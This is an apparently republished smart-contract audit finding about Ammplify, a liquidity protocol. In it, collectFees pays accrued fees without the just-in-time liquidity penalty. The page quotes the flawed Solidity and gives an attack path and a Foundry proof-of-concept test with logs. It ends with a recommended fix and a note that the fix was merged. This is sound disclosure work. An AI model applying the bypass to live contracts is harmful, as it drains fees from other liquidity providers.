Skip to content
Smart contracts Audit finding Intermediate

JIT penalty on fresh fees can be bypassed

The collectFees function pays out accrued fees without applying the JIT penalty that other paths apply, and it resets the position timestamp. An attacker could provide liquidity just before a large swap, collect the fresh fees penalty-free, then remove principal, gaining extra fees compared to a direct removal.

0xHammad Follow with 0xKemah, JeRRy0422 and 7 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-09-ammplify-judging/issues/3

Found by

0xHammad, 0xKemah, JeRRy0422, coin2own, djshaneden, drdee, maigadoh, r1ver, t.aksoy, x15

Description

Collect path pays without JIT penalty and resets the age. MakerFacet.collectFees computes the owed fees via a full walk, settles them to the user, and then updates the asset timestamp. There is no call to FeeLib.applyJITPenalties on the collected amounts

Solidity
function collectFees(...) external nonReentrant returns (uint256 fees0, uint256 fees1) {
    ...
    Data memory data = DataImpl.make(pInfo, asset, minSqrtPriceX96, maxSqrtPriceX96, asset.liq);
    WalkerLib.modify(pInfo, asset.lowTick, asset.highTick, data);
    PoolWalker.settle(pInfo, asset.lowTick, asset.highTick, data);

    // @ Timestamp is reset here
    AssetLib.updateTimestamp(asset);

    // @ Fees paid directly; no JIT penalty applied
    int256;
    balances[0] = data.xBalance;
    balances[1] = data.yBalance;
    RFTLib.settle(recipient, tokens, balances, rftData);
    fees0 = uint256(-data.xBalance);
    fees1 = uint256(-data.yBalance);
}

Remove/adjust path does apply the JIT penalty. Both removeMaker and the removal branch in adjustMaker apply the penalty right before paying the user

Solidity
// removeMaker
(removedX, removedY) = FeeLib.applyJITPenalties(asset, removedX, removedY);

Solidity
// adjustMaker (removal branch)
(removedX, removedY) = FeeLib.applyJITPenalties(asset, removedX, removedY);
...
AssetLib.updateTimestamp(asset);

The penalty itself is binary on time. If now - asset.timestamp < jitLifetime, the payout is multiplied by penaltyX64 (a factor < 1). It does not taper with time so resetting the timestamp during collectFees does not help the attacker avoid a time‑based curve; it simply means the next removal remains penalized, as before.

Crucially, the collected fees avoid any penalty entirely

Solidity
function applyJITPenalties(Asset storage asset, uint256 xBalance, uint256 yBalance)
    internal view returns (uint256 xBalanceOut, uint256 yBalanceOut)
{
    uint128 duration = uint128(block.timestamp) - asset.timestamp;
    if (duration >= store.jitLifetime) return (xBalance, yBalance);
    xBalanceOut = FullMath.mulX64(xBalance, penaltyX64, true);
    yBalanceOut = FullMath.mulX64(yBalance, penaltyX64, true);
}

The NFT wrapper bakes in the bypass. The default burn flow in NFTManager.burnAsset first calls collectFees and only then removeMaker, guaranteeing fees are paid without any JIT penalty even when the position is fresh

Solidity
(fees0, fees1) = MAKER_FACET.collectFees(...);
(token0, token1, removedX, removedY) = MAKER_FACET.removeMaker(...);

Let P = penaltyX64 < 1 and assume the position age is below jitLifetime.

  • Baseline (remove only): user receives P * (principal + fees).
  • Exploit (collect → remove): user receives 1 * (fees) + P * (principal).

Because P < 1, the second path always yields extra fees * (1 − P) with no counter‑balancing loss on the principal (the principal removal is penalized in both paths). This enables classic JIT LPing around expected swaps to siphon fresh fees while the anti‑JIT only bites the base liquidity.

Under Sherlock’s rules, this breaks a core property meant to protect against JIT (explicit “JIT penalties” exist, are configurable, and are guarded in other code paths), and leads to a relevant loss to the protocol/takers/other makers in fee distribution.

Note the code comment in adjustMaker acknowledges this risk (“apply jit afterwards in case someone is trying to use adjust to get around that”), yet the same protection is missing on collectFees

Attack path

Preconditions: jitLifetime > 0, penaltyX64 < 1; liquidity just minted (age < jitLifetime); a swap (or taker activity) accrued fees.

  1. LP provides liquidity for a short window around an anticipated large swap.
  2. Immediately after, call collectFees → all accrued fees are paid in full and the position timestamp is reset to now.
  3. Call removeMaker to exit principal; penalty applies to principal only (same penalty factor as if removed directly), but fees escaped the penalty entirely.

POC

Add this test to Maker.t.sol and run forge test --mt testJITPenaltyBypassViaCollectFees -vvvv

Solidity
function testJITPenaltyBypassViaCollectFees() public {
        bytes memory rftData = "";

        // Configure JIT penalties: 1 hour lifetime, 50% penalty
        uint64 jitLifetime = 1 hours;
        uint64 jitPenaltyX64 = 9223372036854775808; // 50% penalty (0.5 * 2^64)

        adminFacet.setJITPenalties(jitLifetime, jitPenaltyX64);

        // Verify JIT penalty configuration
        (, , , uint64 storedLifetime, uint64 storedPenalty) = adminFacet.getDefaultFeeConfig();
        assertEq(storedLifetime, jitLifetime, "JIT lifetime not set correctly");
        assertEq(storedPenalty, jitPenaltyX64, "JIT penalty not set correctly");

        // Set initial timestamp
        vm.warp(1000);

        // Create a fresh maker position (will have timestamp = 1000)
        uint256 assetId = makerFacet.newMaker(
            recipient,
            poolAddr,
            lowTick,
            highTick,
            liquidity,
            false, // non-compounding
            minSqrtPriceX96,
            maxSqrtPriceX96,
            rftData
        );

        // Generate fees by performing swaps
        swapTo(0, TickMath.getSqrtRatioAtTick(600));  // Move price up
        swapTo(0, TickMath.getSqrtRatioAtTick(-600)); // Move price back down

        // Advance time by 30 minutes (less than jitLifetime of 1 hour)
        vm.warp(1000 + 30 minutes);

        // Mock the asset owner for all subsequent calls
        vm.startPrank(recipient);

        // === DEMONSTRATE THE VULNERABILITY ===

        // First, let's see what happens with direct removal (baseline)
        // Query the current balances before any action
        (int256 initialBalance0, int256 initialBalance1, , ) = viewFacet.queryAssetBalances(assetId);

        // Create a snapshot to restore state
        uint256 snapshot = vm.snapshot();

        // BASELINE: Direct removal with JIT penalty applied to everything
        (,, uint256 baselineRemovedX, uint256 baselineRemovedY) = makerFacet.removeMaker(
            recipient,
            assetId,
            minSqrtPriceX96,
            maxSqrtPriceX96,
            rftData
        );

        // Restore state to before removal
        vm.revertTo(snapshot);

        // EXPLOIT: collectFees first, then removeMaker
        // Step 1: Collect fees (bypasses JIT penalty and resets timestamp)
        (uint256 exploitFees0, uint256 exploitFees1) = makerFacet.collectFees(
            recipient,
            assetId,
            minSqrtPriceX96,
            maxSqrtPriceX96,
            rftData
        );

        // Step 2: Remove maker (JIT penalty only applies to remaining principal)
        (,, uint256 exploitRemovedX, uint256 exploitRemovedY) = makerFacet.removeMaker(
            recipient,
            assetId,
            minSqrtPriceX96,
            maxSqrtPriceX96,
            rftData
        );

        vm.stopPrank();

        // === VULNERABILITY VERIFICATION ===

        // Calculate total received in each scenario
        uint256 exploitTotalX = exploitFees0 + exploitRemovedX;
        uint256 exploitTotalY = exploitFees1 + exploitRemovedY;

        // Verify that the exploit path yields more tokens than baseline
        assertGt(exploitTotalX, baselineRemovedX, "Exploit should yield more token0 than baseline");
        assertGt(exploitTotalY, baselineRemovedY, "Exploit should yield more token1 than baseline");

        // Calculate the extra tokens gained through the exploit
        uint256 extraX = exploitTotalX - baselineRemovedX;
        uint256 extraY = exploitTotalY - baselineRemovedY;

        // Verify that fees were actually collected (non-zero)
        assertGt(exploitFees0, 0, "Should have collected non-zero fees0");
        assertGt(exploitFees1, 0, "Should have collected non-zero fees1");

        // The extra amount should be approximately fees * (1 - penaltyFactor)
        // Since penaltyFactor = 0.5, we expect extra ≈ fees * 0.5
        uint256 expectedExtraX = exploitFees0 / 2; // 50% of fees
        uint256 expectedExtraY = exploitFees1 / 2; // 50% of fees

        // Allow for some rounding tolerance (10% tolerance due to complex fee calculations)
        if (expectedExtraX > 0) {
            assertApproxEqRel(extraX, expectedExtraX, 0.1e18, "Extra X should be ~50% of fees");
        }
        if (expectedExtraY > 0) {
            assertApproxEqRel(extraY, expectedExtraY, 0.1e18, "Extra Y should be ~50% of fees");
        }

        // Log the results for visibility
        emit log_named_uint("Initial Balance0", uint256(initialBalance0));
        emit log_named_uint("Initial Balance1", uint256(initialBalance1));
        emit log_named_uint("Baseline Removed X", baselineRemovedX);
        emit log_named_uint("Baseline Removed Y", baselineRemovedY);
        emit log_named_uint("Exploit Fees0", exploitFees0);
        emit log_named_uint("Exploit Fees1", exploitFees1);
        emit log_named_uint("Exploit Removed X", exploitRemovedX);
        emit log_named_uint("Exploit Removed Y", exploitRemovedY);
        emit log_named_uint("Exploit Total X", exploitTotalX);
        emit log_named_uint("Exploit Total Y", exploitTotalY);
        emit log_named_uint("Extra X Gained", extraX);
        emit log_named_uint("Extra Y Gained", extraY);

    }

Logs

Bash
Logs:
  Initial Balance0: 6000599925504992682
  Initial Balance1: 0
  Baseline Removed X: 3009327946592273158
  Baseline Removed Y: 4581693336396101
  Exploit Fees0: 18055967679553633
  Exploit Fees1: 9163386672792201
  Exploit Removed X: 3000299962752496341
  Exploit Removed Y: 0
  Exploit Total X: 3018355930432049974
  Exploit Total Y: 9163386672792201
  Extra X Gained: 9027983839776816
  Extra Y Gained: 4581693336396100

Recommendation

Apply the JIT penalty inside collectFees before settlement, then update the timestamp. Also update NFTManager.burnAsset if you want to keep the “collect then remove” ordering once collectFees penalizes, the flow is safe.

If you prefer not to penalize collect don’t reset asset.timestamp on collectFees. Only update timestamps on liquidity‑changing actions. That won’t fix the core bypass (fees still unpenalized), but it avoids further gaming of the penalty window

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/itos-finance/Ammplify/pull/18

The original report as published on Sherlock, by 0xHammad. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the collectFees function omits the call to applyJITPenalties that other fee-paying paths include, and it also resets the asset timestamp.

Impact

An attacker could bypass the JIT penalty on fees, gaining extra fees at the expense of the protocol or other makers, as demonstrated by the test showing higher total tokens received.

What the attacker needed

JitLifetime > 0 and penaltyX64 < 1; liquidity just minted (age < jitLifetime); a swap accrued fees

The fix

The protocol team fixed this issue in a pull request.

How it was found

  1. Configure JIT penalties with a lifetime and penalty factor.
  2. Create a fresh maker position and generate fees via swaps.
  3. Advance time but stay within the JIT lifetime.
  4. Call collectFees to receive all fees without penalty and reset the timestamp.
  5. Call removeMaker to exit principal, with penalty applied only to principal.
  6. Compare total received to a direct removal to see the extra fees gained.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A liquidity provider earns fees from swaps. To discourage people from adding liquidity only right before a big swap (called JIT, just-in-time), the system applies a penalty to earnings if the position is very new. This report shows that one function, collectFees, pays out those earnings without the penalty, so a user can get the full fees and then remove their principal, keeping more than they should.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by 0xHammad

View all

2 more disclosed reports, best first.

More from Ammplify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.